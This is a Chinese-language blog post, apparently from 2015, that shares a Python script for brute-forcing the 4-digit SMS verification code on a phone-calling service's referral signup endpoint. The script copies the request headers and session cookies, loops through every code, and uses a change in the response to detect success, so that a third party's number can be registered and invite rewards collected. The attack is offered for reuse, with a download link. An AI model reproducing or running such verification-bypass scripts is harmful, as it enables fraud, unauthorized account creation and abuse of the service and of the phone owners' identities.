排列五开奖号码走势图|排列五开奖公告
首頁 > PHP與電話平臺 > Python帶協議頭(headers)暴力注冊MM電話代碼

201507月9

Python帶協議頭(headers)暴力注冊MM電話代碼

作者:admin 0 Comments 發表評論

python接觸沒幾天,但寫 post程序是比較有趣比較有用的,所以研究了下,發現python的第三方庫requests是很不錯的POST,GET等網頁交互操作的模塊,所以安裝了這個庫,并且參考文章:http://www.c7hk.com/mmwldh.html,寫了代碼,其中協議頭哪里弄了很久,另外在for循環里加入了while循環,結果程序沒有自動跳出(這樣用法是有問題的),后面用if判斷就正常了。代碼如下,都有解釋,不說闡述:

import requests # 引入requests模塊
url1=’http://www.mmcaller.com/wap/laxinReg.act’ #POST網址
data1=’mobile=被推薦的號碼&invitedby=自己的號碼&smsCode=1111&inviteway=web-url&sign=d479861f2626ad40709da1895ba4b9c0760e43bf9028ce84ea41626cd44f0bc475223fefd407bdd7e7b37bceb6fc62eab385198e1b95′
#post的數據,其中1111是初始驗證碼

head={‘Host’: ‘www.mmcaller.com’,
‘Connection’: ‘keep-alive’,
‘Content-Length’: ‘185’,
‘Accept’: ‘application/json’,
‘Origin’: ‘http://www.mmcaller.com’,
‘X-Requested-With’: ‘XMLHttpRequest’,
‘User-Agent’: ‘Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 TheWorld 6’,
‘Content-Type’: ‘application/x-www-form-urlencoded’,
‘Referer’: ‘http://www.mmcaller.com/w/lx.c?s=web-url&a=?????’,
‘Accept-Encoding’: ‘gzip,deflate,sdch’,
‘Accept-Language’: ‘zh-CN,zh;q=0.8’,
‘Cookie’: ‘JSESSIONID=6517114FFCEBAB0FE9E5228C63A3FE08; U_UID_JSESSIONID_KEEPC=492569; U_BC_JSESSIONID_KEEPC=0.0; U_NAME_JSESSIONID_KEEPC=自己號碼; U_PWD_JSESSIONID_KEEPC=37813d32cd5f64c0; Hm_lvt_6411748e94749dc822884a48bd026032=1436195631,1436280948,1436440536; Hm_lpvt_6411748e94749dc822884a48bd026032=1436449102; Hm_lvt_026df1e3785835b164361376798f7917=1436195274,1436280878,1436440509; Hm_lpvt_026df1e3785835b164361376798f7917=1436449123’}
#協議頭,就是這么寫的,POST要用到,如果不懂,可以參考文章:http://www.c7hk.com/mfwydh.html中關于協議頭的解釋

 

r=requests.post(url1,data1,headers=head)#requests的POST數據格式,第一個是網址,第二個是POST數據,第三個是協議頭,協議頭在有些POST里不是必須的,但大部分都需要這個。

r1=r.content
print r1 #打印POST初始數據后的返回值
numcod=1000 #設置初始跑碼為1000,因為驗證碼是4位數,所以從這個跑起不會漏
for i in range(9000): #設置9000次循環
numcod=numcod+1 #驗證碼每次加1
numm=str(numcod) #把驗證碼由數值類型轉換成文本型數據
data2=data1.replace(‘1111’,numm) #替換初始驗證碼1111為每次生成的驗證碼數字
r=requests.post(url1,data=data2,headers=head) #requests又在POST數據
print numcod #打印已經跑了的驗證碼數字

print r.content #打印POST后的返回信息
if(r.content != r1): #如果返回信息 不等于初始值,那么就說明已經找到了真正的驗證碼
print ‘恭喜,已經找到真正的驗證碼,并且注冊成功,驗證碼為:’+numm #打印驗證碼數值
break #跳出for循環

可以下載源碼看:http://pan.baidu.com/s/1jG1UUPK

推薦閱讀相關文章:PHP與電話平臺

本文地址:http://www.c7hk.com/python-headers.html
版權所有 © 轉載時必須以鏈接形式注明作者和原始出處!

本文目前尚無任何評論.

發表評論

排列五开奖号码走势图